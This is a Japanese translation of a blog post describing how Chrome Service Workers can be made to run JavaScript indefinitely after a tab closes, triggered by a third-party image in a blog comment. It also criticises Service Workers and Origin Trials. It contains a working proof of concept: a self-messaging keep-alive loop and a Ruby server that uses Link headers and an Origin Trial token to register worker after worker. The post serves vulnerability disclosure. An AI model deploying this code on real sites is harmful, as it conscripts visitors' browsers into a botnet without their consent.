Service Workerを使用してボットネットを作成する





要するに、この投稿では、Service Workerを使用してブラウザーで無限のJavaScriptコードを実行する多くの方法の1つと、テクノロジー自体に対するもう少しの批判を見ていきます。



このリンクで例を見つけることができます 。 タブを閉じます。 数分後、DevTools / Application / ServiceWorker / Show Allを開きます。 ご覧のとおり、コードは引き続き機能します(ただし、既に修正されている場合があります)。



Catworkerは継続的に実行され、ゾンビのようにさまざまなタスクを実行します。 つまり、悪意のあるページを使用する必要はなく、アドレスのあるブログで十分です。 コメントにサードパーティの画像を追加する機能により、コードを実行できます。



<img src="https://truefactor.io/cat.gif">
      
      





Web開発者はこれを期待していませんでした。イメージタグがJSコードの実行をトリガーする方法 JSを継続的に実行するにはどうすればよいですか? それは可能ですか?



Service Workerは複雑すぎます



「進歩的な」Webアプリケーションの人気を高めるために、Chromeチームは許可を求めずにService Workerを作成しました。 実際には、この新しい「高度な」ソリューションは、ポップアッププッシュ通知を表示するためにのみ使用されます(もちろん、Service Workerの有用性はこれに限定されず、たとえばオフラインモードやbacksync、およそTranslatorの実装に使用されます) 。 私の言葉を受け入れない場合は、登録済みのService Workerを開いてその内容を調べてください。



たとえ何百行ものコード、FCMへの依存など、これもそれほど簡単には行われません(FCM = Firebase Cloud Messagingですが、この場合は使用する必要はありません-翻訳者のメモ) 。 サーバーでsw.jsをホストし、クライアント側でワーカーを登録し、Promiseが受信されるのを待ってからserviceWorkerRegistration.pushManager.getSubscription()を実行し、エンドポイントとregistration_idを要求してサーバーに保存します。



だから私は実装します:



 navigator.pushManager.getSubscription("We will send you weather updates once an hour").then(function(endpoint){ #FCM endpoint })
      
      





私の謙虚な意見では、Service Workerは存在しない質問に対する素晴らしい答えです。 このソリューションを使用することを学ぶことはAppcacheよりもはるかに難しく(AppCacheは、欠点があるため廃止されたテクノロジー見なされます -翻訳者のメモ) 、さらに、信頼性が低くなります。



長期的な仕事を確保する方法



Service Workerは、onmessage、onfetch、onforeignfetchなどの最後のイベントを受信して​​から60秒後にシャットダウンします。



1.自分にメッセージを送信します。



 self.addEventListener('message', function (event) {   var spawnNewMessageEvent = function (data) {       return new Promise(function (success) {           setTimeout(function () {               var sw = self.registration.active;               sw.postMessage(data);               success("success");           }, 30000)       });   };   event.waitUntil(doSomething().then(spawnNewMessageEvent)); });
      
      





1. 2人のワーカーがお互いにForeignFetch要求を送信します。 ForeignFetchを使用するには、Origin Trialトークンを取得する必要があります。これは、検証や確認を必要とせず、攻撃者が同意なしに実際のユーザーに新しい実験技術を適用できる完全自動化プロセスです。



2. Catworkerはcat.gifにフェッチ要求を送信します。その結果、新しいワーカーが異なる作業範囲で登録されます(これは参照による登録と呼ばれます)。 このプロセスは55秒ごとに繰り返されます。



 require 'sinatra' ot = 'AglMWHYLtMNT8FVZp9u368r0HZPKh7Pjfm7WYEyHwKz4zwaSznv682Bckrz903mz54CVZQACD5ZlSrLpuh8CKQIAAABYeyJvcmlnaW4iOiAiaHR0cHM6Ly90cnVlZmFjdG9yLmlvOjQ0MyIsICJmZWF0dXJlIjogIkZvcmVpZ25GZXRjaCIsICJleHBpcnkiOiAxNDg0OTM2NzI3fQ==' get "/cat.gif" do response.headers['Origin-Trial'] = ot; response.headers['Access-Control-Allow-Origin'] = '*'; response.headers['Link'] = '</sw?'+rand(999999999).to_s+'>; rel="serviceworker"; scope="/'+rand(999999999).to_s+'"' if params[:skip]   'ok' else   response.headers['Content-Type'] = "image/gif"   File.open('./cat.gif').read end end get "/sw" do response.headers['Content-Type'] = "text/javascript" return sw=<<HTML //#{rand(999999999).to_s} setTimeout(function(){ console.log("Forking") fetch('https://truefactor.io/cat.gif?skip=1&'+Math.random(9999999)); }, 30000); HTML end
      
      





攻撃者はこれをどのように使用できますか?



現在、攻撃者にはブラウザを攻撃するための3つのオプションがあります。





Service Workerプロセスは本質的に一定です。 これらはタブを閉じた後に実行され、同期イベントをランダムに受信してトリガーされ、24時間ごとに更新されます。Webサイトがプッシュ通知を送信できるようにすると、ポップアップウィンドウが表示されるたびにJSコードを実行できます。 これはすべて長い間使用されてきました。

将来、攻撃者は保護を回避する方法がさらに増え、コードが引き続き機能するようになります。



現在、このクラスのエラーには十分な注意が払われていません。 チケットはパブリック( 1、2、3 )で、優先度は最小限です。



これに加えて、 Origin Trialのアプローチは完全ではありません 。誰でもトークンを取得でき、誰でも実験関数を自分の目的に使用できます。 必要に応じてService Workerを有効または無効にする機能が必要です。



Service Workerを無効にするには、チェックボックスを追加する必要があると確信しています。 個人的には、この技術は私に何の利益ももたらさない。 (キャッシュのドキュメントを読みましたか?それは中国語の手紙のようなものです。)新しい機能は適切な検証なしに動作するため、同一生成元ポリシーおよびその他の重要なセキュリティ概念を確認できません...ここに、いくつかの軽微な脆弱性の説明があります: FF 乗っ取り 、サンドボックスドメイン攻撃



All Articles